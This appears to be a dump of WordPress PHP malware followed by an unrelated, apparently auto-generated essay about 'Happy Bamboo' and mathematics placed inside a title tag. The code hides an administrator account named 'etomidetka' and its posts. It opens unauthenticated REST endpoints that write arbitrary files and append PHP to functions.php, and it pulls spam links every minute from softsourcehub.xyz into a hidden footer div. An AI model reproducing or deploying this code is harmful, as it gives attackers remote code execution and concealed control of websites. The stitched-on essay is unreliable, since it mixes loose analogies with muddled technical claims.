//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>
	Comments on: Happy Bamboo and the Code Behind Mathematical Mysteries

Nature and mathematics share a silent language—one woven in balance, recursion, and hidden order. The bamboo stands as a living metaphor, embodying principles that mirror deep truths in computer science and data structures. Just as Happy Bamboo grows within bounded, rhythmic constraints, so too do mathematical systems maintain elegant harmony, enabling efficient search and retrieval. This article explores how natural patterns like bamboo reflect foundational mathematical concepts—from balanced trees and quantum entanglement to graph coloring and computational logic—revealing a world where nature’s rhythm aligns with human discovery.
The Balance of Growth: How Happy Bamboo Mirrors B-Trees’ Structural Harmony
At the heart of Happy Bamboo’s steady ascent lies a principle borrowed from B-trees: perfect balance ensures predictable performance. B-trees maintain uniform leaf depth, allowing O(log n) search efficiency—a cornerstone of scalable databases and file systems. This balance prevents bottlenecks, much like how Bamboo’s rhythmic growth adapts to environmental limits without sacrificing momentum.
Consider a depth-first traversal through Bamboo’s branching network—an organic extension of recursive algorithms used in computer science. Each branch follows a path defined not by randomness, but by structured depth, echoing depth-first search in trees and graphs. Bamboo’s seasonal cycles reinforce this predictability, much like a well-designed index that keeps data accessible across vast hierarchies.
Recursive Symmetry and Information Retrieval
Just as a B-tree’s recursive structure enables efficient navigation, Happy Bamboo’s branching pattern exemplifies symmetry that mirrors algorithmic traversal. Depth-first search in computer systems follows precisely this kind of depth and backtracking logic—each node explored in sequence, then returned to explore alternatives. Bamboo’s natural branching thus becomes a living model of systematic information flow.
Quantum Leap and Information Encoding: From Entanglement to Mathematical Limits
Quantum entanglement reveals a profound connection between distant particles, requiring just two classical bits per qubit to teleport states—a discrete bridge over spatial gaps. This concept echoes deeper mathematical limits: graph coloring, where planar maps demand at least four colors, reveals how topology constrains solutions. The 1976 resolution of the four-color theorem after 124 years of effort underscores how mathematical truths, like quantum states, emerge through persistent exploration.
Entanglement’s teleportation protocol, grounded in discrete data, parallels how Bamboo encodes environmental cues—light, water, soil—into predictable growth responses. Both systems translate complexity into structured, retrievable information.
Graph Coloring: A Foundational Mystery Solved Through Planar Constraints
From Maps to Machines
Graph coloring solves a deceptively simple problem: assign colors so adjacent regions differ. Yet proving any planar map needs at least four colors—achieved in 1976—required centuries of insight. This limitation arises not from arbitrary choice, but from topological structure, much like Bamboo navigates terrain shaped by soil and climate. Each region’s constraint mirrors Bamboo’s adaptation to physical boundaries, revealing how spatial logic governs both nature and computation.
Real-world applications—such as scheduling exams or allocating frequencies—depend on this same logic. Bamboo’s seasonal rhythms, optimized by environmental constraints, offer a nature-inspired blueprint for solving such spatial puzzles efficiently.
Happy Bamboo as a Metaphor: Nature’s Code and Computational Foundations
Happy Bamboo is more than a plant—it is a living metaphor for computational harmony. Its growth within bounded parameters reflects the balance sought in B-trees and hash tables, where depth and access speed must coexist. Its seasonal cycles embody algorithmic periodicity: predictable, scalable, and efficient. As both natural phenomenon and computational model, Bamboo illustrates how mathematical principles underpin living systems and human technology alike.
Like the four-color theorem, Bamboo’s resilience emerges from enduring, tested laws—principles that guide both ecological adaptation and database design.
From Mystery to Mechanism: The Code Behind Mathematical Discovery
Mathematical puzzles drive discovery: from entanglement’s teleportation to graph coloring’s constraints, each problem unveils hidden order. These solutions inform real-world innovation—quantum protocols, efficient indexing, network routing—all rooted in abstract reasoning. Bamboo invites us to see math not as abstraction, but as a living code shaping both nature and technology.
Each breakthrough, whether in proving the four-color map theorem or optimizing tree balance, follows rigorous proof—revealing truth through logic, symmetry, and persistent inquiry.

B-trees maintain uniform leaf depth enabling O(log n) search efficiency
The 1976 four-color theorem proves planar maps require at least four colors
Graph coloring models scheduling and resource allocation using spatial logic
Happy Bamboo embodies balance and periodicity, mirroring algorithmic design
Quantum entanglement uses 2 classical bits per qubit to ensure state fidelity


Mathematical ConceptKey InsightReal-World Analogy

B-treesUniform depth enables fast O(log n) searchHappy Bamboo’s balanced growth enables predictable access
Four-color theoremPlanar maps need at least four colorsBamboo’s seasonal cycles reflect spatial resource allocation
Graph coloringSpatial constraints dictate minimum color countBamboo’s branching adapts to environmental limits
Quantum entanglementTwo classical bits per qubit ensure teleportation fidelityBamboo transmits environmental signals through rhythmic growth


Happy Bamboo’s elegant rhythm invites us to see mathematics not as cold abstraction, but as the quiet logic shaping life and innovation alike—where every branch tells a story of balance, computation, and enduring truth.
Explore the living code of nature at Happy Bamboo	</title>
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